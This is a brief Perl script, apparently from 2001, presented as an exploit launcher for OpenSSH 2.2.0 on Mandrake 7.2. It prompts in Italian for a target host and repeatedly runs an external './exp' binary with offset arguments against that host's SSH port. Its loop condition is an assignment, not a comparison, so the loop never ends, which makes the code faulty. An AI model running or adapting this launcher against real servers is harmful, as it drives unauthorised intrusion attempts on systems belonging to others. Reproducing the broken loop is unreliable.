#!/usr/bin/perl
$i = 0;
print "12/03/2001 OpenSSH-2.2.0 Exploit Tested On Mandrake 7.2\n\n";
print "\nInserire l'host : ";
$host = <STDIN>;
chop $host;
system("clear");

print "\n\nAttacco diretto verso ".$host."...\n\n";
for ($i=0;$i=20;$i++)
 {
   print "[DkL] :: Coded by NeMeS||y :: [DkL]\n\n";
   system("./exp 0988 $i 114200 117280 $host 22 3");
   sleep(15);
   system("clear");
 }
